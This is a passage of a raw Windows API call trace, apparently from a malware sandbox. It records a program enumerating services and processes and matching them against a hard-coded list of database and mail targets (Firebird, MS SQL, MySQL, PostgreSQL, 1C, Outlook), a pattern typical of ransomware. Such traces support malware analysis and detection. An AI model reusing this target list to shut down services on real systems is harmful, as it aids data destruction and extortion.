pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0034.498] GetLastError () returned 0xea [0034.498] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x11e4) returned 0x26e060 [0034.498] EnumServicesStatusExW (in: hSCManager=0x29fbf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x11e4, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0034.498] CloseServiceHandle (hSCObject=0x29fbf0) returned 1 [0034.499] lstrlenW (lpString="Appinfo") returned 7 [0034.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.499] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.499] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.499] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.499] lstrlenW (lpString="AudioSrv") returned 8 [0034.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.499] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0034.499] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.499] lstrlenW (lpString="BFE") returned 3 [0034.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.499] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.499] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.499] lstrlenW (lpString="CryptSvc") returned 8 [0034.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.499] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.499] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.499] lstrlenW (lpString="CscService") returned 10 [0034.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.500] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.500] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.500] lstrlenW (lpString="DcomLaunch") returned 10 [0034.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.500] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.500] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.500] lstrlenW (lpString="Dhcp") returned 4 [0034.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.500] lstrlenW (lpString="Dnscache") returned 8 [0034.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.500] lstrlenW (lpString="DPS") returned 3 [0034.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.500] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.500] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.500] lstrlenW (lpString="eventlog") returned 8 [0034.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.500] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.500] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.501] lstrlenW (lpString="EventSystem") returned 11 [0034.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.501] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.501] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.501] lstrlenW (lpString="gpsvc") returned 5 [0034.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.501] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.501] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.501] lstrlenW (lpString="iphlpsvc") returned 8 [0034.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.501] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.501] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.501] lstrlenW (lpString="LanmanServer") returned 12 [0034.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.501] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.501] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.501] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.501] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.501] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.501] lstrlenW (lpString="lmhosts") returned 7 [0034.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.502] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.502] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.502] lstrlenW (lpString="MMCSS") returned 5 [0034.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.502] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.502] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.502] lstrlenW (lpString="MpsSvc") returned 6 [0034.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.502] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.502] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.502] lstrlenW (lpString="Netman") returned 6 [0034.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.502] lstrlenW (lpString="netprofm") returned 8 [0034.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.502] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.502] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.503] lstrlenW (lpString="NlaSvc") returned 6 [0034.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.503] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.503] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.503] lstrlenW (lpString="nsi") returned 3 [0034.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.503] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.503] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.503] lstrlenW (lpString="PcaSvc") returned 6 [0034.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.503] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.503] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.503] lstrlenW (lpString="PlugPlay") returned 8 [0034.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.503] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.503] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.503] lstrlenW (lpString="Power") returned 5 [0034.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.503] lstrlenW (lpString="ProfSvc") returned 7 [0034.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0034.504] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.504] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.504] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.504] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.504] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.504] lstrlenW (lpString="RpcSs") returned 5 [0034.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.504] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.504] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.504] lstrlenW (lpString="SamSs") returned 5 [0034.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.504] lstrlenW (lpString="Schedule") returned 8 [0034.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.504] lstrlenW (lpString="SENS") returned 4 [0034.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.505] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.505] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.505] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.505] lstrlenW (lpString="Spooler") returned 7 [0034.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.505] lstrlenW (lpString="SysMain") returned 7 [0034.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.505] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.505] lstrlenW (lpString="Themes") returned 6 [0034.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.505] lstrlenW (lpString="TrkWks") returned 6 [0034.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.505] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.505] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.505] lstrlenW (lpString="UxSms") returned 5 [0034.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.506] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.506] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.506] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.506] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.506] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.506] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.506] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.506] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.506] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.506] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.506] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.506] lstrlenW (lpString="Winmgmt") returned 7 [0034.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.506] lstrlenW (lpString="WPDBusEnum") returned 10 [0034.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.506] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0034.507] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0034.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0034.507] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0034.507] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0034.509] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.509] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.510] lstrlenW (lpString="System") returned 6 [0034.510] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.510] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.510] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.510] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.510] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.510] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.510] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.510] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.511] lstrlenW (lpString="smss.exe") returned 8 [0034.511] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.511] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.511] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.511] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.511] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.511] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.512] lstrlenW (lpString="csrss.exe") returned 9 [0034.512] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.512] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.512] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.512] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.512] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.512] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.512] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0034.512] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.513] lstrlenW (lpString="wininit.exe") returned 11 [0034.513] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0034.513] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0034.513] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0034.513] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0034.513] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0034.513] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0034.513] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0034.513] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.514] lstrlenW (lpString="csrss.exe") returned 9 [0034.514] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.514] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.514] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.514] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.514] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.514] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.514] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.514] lstrlenW (lpString="winlogon.exe") returned 12 [0034.514] Process32NextW (in: hSnapshot=0x1a4, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, 